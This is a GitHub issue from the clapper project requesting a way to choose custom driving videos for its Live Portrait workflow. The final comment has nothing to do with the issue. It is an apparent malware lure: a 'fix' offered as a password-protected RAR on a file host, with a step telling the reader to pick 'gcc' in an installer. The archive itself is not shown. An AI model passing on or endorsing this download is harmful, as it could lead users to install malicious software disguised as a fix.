jbilcke-hf/clapper

Find a UI/UX way to edit the driving video for Live Portrait

jbilcke-hf opened this issue · 1 comments

Context

Currently Clapper has a Live Portrait workflow, here is a demo (to try for yourself you need a Replicate account, and pick "video" > "Replicate" > "Live Portrait by @fofr")

live-portrait.mp4

there are more things planned, like lip-sync and using a database of readymade expressions, so that we don't have to manually edit thousands of shots.

Now, some users prefer to do everything without AI, and that's perfectly fine imho.
For those users we can provide a way to pick a custom driving video for each shot.

Solution

Modify the interface to add a way to select driving videos.

Maybe that can be done in the segment editor (or the upcoming quick access segment editor - ask @jbilcke-hf )

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."